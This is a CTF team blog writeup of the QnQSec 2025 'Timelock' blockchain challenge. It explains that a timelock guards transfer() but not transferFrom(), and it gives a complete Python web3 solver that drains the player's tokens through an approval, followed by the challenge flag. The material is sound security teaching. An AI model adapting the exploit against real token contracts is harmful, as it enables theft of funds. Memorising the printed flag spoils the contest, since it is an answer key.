•
•
•
•
•
•
•
•
The Ordinary PlayerThe Ordinary Player
HomePosts & WriteupsMembersContests

© 2025 - 2026 The Ordinary Player. All rights reserved.
Website theme & implementation © Rosemary (blog.rosemary.my.id)

•
The Ordinary PlayerThe Ordinary Player
HomePosts & WriteupsMembersContests

© 2025 - 2026 The Ordinary Player. All rights reserved.
Website theme & implementation © Rosemary (blog.rosemary.my.id)

Back to all writeups
Back to all writeups

Table of Contents

  • Timelock Writeup - QnQSec 2025
  • Summary:
  • Quick Recon
  • Exploit
  • .env (example)
  • exploit_naughtcoin.py
  • Run
  • FLAG
Cyber Security
November 1, 2025•
... views
•3 min read
By Rosemary

Timelock (Blockchain) - QnQSec 2025

This writeup explains how the Timelock contract in QnQSec 2025 could be bypassed by abusing ERC-20 allowances. While the timelock blocked direct transfers from the player, it didn’t restrict transferFrom, allowing an attacker to drain the player’s tokens through an approved spender.

#CTF#Blockchain#QnQSec

Timelock Writeup - QnQSec 2025

Summary:

Vulnerability: Timelock only blocks transfer for the player via a modifier, but not transferFrom. Technique: Have the PLAYER approve an attacker for the full balance, then call transferFrom to drain the tokens; call solve() once PLAYER balance is zero. Result: Drain tokens before the timelock expires and complete the challenge.


Quick Recon

Files: Timelock.sol (inherits ERC20) and Challenge.sol (checks CONTRACT.balanceOf(PLAYER) == 0 inside solve()).

CTF workflow: You get environment info such as:

RPC_URL=http://...
PLAYER_PK=0x...
CHALLENGE_ADDR=0x...

Relevant functions:

  • Timelock.transfer(address,uint256) — overridden and protected by lockTokens modifier checking block.timestamp > timeLock when msg.sender == player
  • approve(address,uint256) and transferFrom(address,address,uint256) — standard ERC-20, not overridden
  • Challenge.solve() — requires CONTRACT.balanceOf(PLAYER) == 0

Endpoints / info example:

download Timelock.sol
nc <ctf-host> <port>

Exploit

Use the following solver script.

.env (example)

RPC_URL=http://instance/main
PLAYER_PK=0x<player_private_key>
CHALLENGE_ADDR=0x<challenge_contract_address>

exploit_naughtcoin.py

import os, time
from decimal import Decimal
from dotenv import load_dotenv
from web3 import Web3
from eth_account import Account


load_dotenv()
RPC = os.getenv("RPC_URL")
PLAYER_PK = os.getenv("PLAYER_PK")
CHALLENGE = os.getenv("CHALLENGE_ADDR")


if not all([RPC, PLAYER_PK, CHALLENGE]):
   raise SystemExit("Set RPC_URL, PLAYER_PK, CHALLENGE_ADDR in .env")


w3 = Web3(Web3.HTTPProvider(RPC, request_kwargs={"timeout":30}))
if not w3.is_connected():
   raise SystemExit("Cannot connect to RPC")


player = Account.from_key(PLAYER_PK)


# Minimal ABIs
challenge_abi = [
 {"inputs":[],"name":"CONTRACT","outputs":[{"type":"address","name":""}],"stateMutability":"view","type":"function"},
 {"inputs":[],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
erc20_abi = [
 {"name":"approve","type":"function","inputs":[{"name":"spender","type":"address"},{"name":"amount","type":"uint256"}],"outputs":[{"type":"bool","name":""}],"stateMutability":"nonpayable"},
 {"name":"transferFrom","type":"function","inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"outputs":[{"type":"bool","name":""}],"stateMutability":"nonpayable"},
 {"name":"balanceOf","type":"function","inputs":[{"name":"owner","type":"address"}],"outputs":[{"type":"uint256","name":""}],"stateMutability":"view"},
 {"name":"decimals","type":"function","inputs":[],"outputs":[{"type":"uint8","name":""}],"stateMutability":"view"}
]


def to_ck(a):
   return Web3.to_checksum_address(a) if hasattr(Web3, "to_checksum_address") else Web3.toChecksumAddress(a)


def sign_send(tx, signer):
   signed = signer.sign_transaction(tx) if hasattr(signer, "sign_transaction") else Account.sign_transaction(tx, signer)
   raw = getattr(signed, "rawTransaction", None) or getattr(signed, "raw_transaction", None)
   txh = w3.eth.send_raw_transaction(raw)
   r = w3.eth.wait_for_transaction_receipt(txh, timeout=120)
   return r


challenge = w3.eth.contract(to_ck(CHALLENGE), abi=challenge_abi)
token_addr = to_ck(challenge.functions.CONTRACT().call())
token = w3.eth.contract(token_addr, abi=erc20_abi)


decimals = token.functions.decimals().call()
bal = token.functions.balanceOf(player.address).call()
print("PLAYER:", player.address)
print("Token balance:", Decimal(bal) / (10**decimals))


chain = w3.eth.chain_id
gasp = w3.eth.gas_price


# create attacker and fund it from PLAYER
att = Account.create()
print("ATTACKER:", att.address)
fund = w3.to_wei(0.05, "ether")
nonce = w3.eth.get_transaction_count(player.address)
tx = {"to": att.address, "value": fund, "gas":21000, "gasPrice":gasp, "nonce":nonce, "chainId":chain}
r = sign_send(tx, PLAYER_PK); print("fund tx:", r.transactionHash.hex())
time.sleep(1)


# PLAYER approves attacker
nonce = w3.eth.get_transaction_count(player.address)
builder = "build_transaction" if hasattr(token.functions.approve(att.address, bal), "build_transaction") else "buildTransaction"
txa = getattr(token.functions.approve(att.address, bal), builder)({
   "chainId": chain, "from": player.address, "nonce": nonce, "gas":100000, "gasPrice":gasp
})
r = sign_send(txa, PLAYER_PK); print("approve tx:", r.transactionHash.hex()); time.sleep(1)


# ATTACKER does transferFrom to drain
nonce_att = w3.eth.get_transaction_count(att.address)
builder_tf = "build_transaction" if hasattr(token.functions.transferFrom(player.address, att.address, bal), "build_transaction") else "buildTransaction"
tx_tf = getattr(token.functions.transferFrom(player.address, att.address, bal), builder_tf)({
   "chainId": chain, "from": att.address, "nonce": nonce_att, "gas":200000, "gasPrice":gasp
})
r = sign_send(tx_tf, att); print("transferFrom tx:", r.transactionHash.hex()); time.sleep(1)


print("Player token balance after:", token.functions.balanceOf(player.address).call())


# call solve()
builder_s = "build_transaction" if hasattr(challenge.functions.solve(), "build_transaction") else "buildTransaction"
txs = getattr(challenge.functions.solve(), builder_s)({
   "chainId": chain, "from": att.address, "nonce": w3.eth.get_transaction_count(att.address), "gas":100000, "gasPrice":gasp
})
r = sign_send(txs, att); print("solve tx:", r.transactionHash.hex())
print("Done. If isSolved, go back to nc and choose option 3 to get the flag.")

Run

python exploit_naughtcoin.py

What it does (one line): PLAYER approves attacker for full token balance → attacker drains via transferFrom → attacker calls solve().

After running the script, return to the nc session and choose option 3 to retrieve the flag if isSolved() is true.


FLAG

QnQSec{gr3at_j0b_y0u_l3arn7_4b0u7_3rc20_t0k3n5}

Share this post

If you found this helpful, consider sharing it with your network!

Related Posts

  • Vorpal Masters (Web) - PatriotCTF

    This writeup reverses a small license binary from PatriotCTF 2025 to recover the valid key CACI-2025-PatriotCTF. By inspecting the format string, strcmp checks, byte-by-byte comparisons, and a simple arithmetic check on the numeric field, the three segments are revealed and assembled into the final license.

    November 24, 2025•3 min read
  • Trust Fall (Web) - PatriotCTF

    A product-catalog app in PatriotCTF 2025 hid an IDOR vulnerability behind a hard-coded read-only token. By probing the backend API, user data could be accessed simply by changing the ID in the request. Enumerating those IDs eventually revealed the root profile, which exposed the flag and confirmed the app’s missing authorization controls.

    November 24, 2025•3 min read
  • 🔐 SecureAuth™ (Web) - PatriotCTF

    This writeup shows how the SecureAuth™ API in PatriotCTF 2025 could be bypassed using a NoSQL injection trick by sending a password field with a MongoDB operator, allowing instant admin access and revealing the flag.

    November 24, 2025•2 min read
The Ordinary PlayerThe Ordinary Player
HomePosts & WriteupsMembersContests

© 2025 - 2026 The Ordinary Player. All rights reserved.
Website theme & implementation © Rosemary (blog.rosemary.my.id)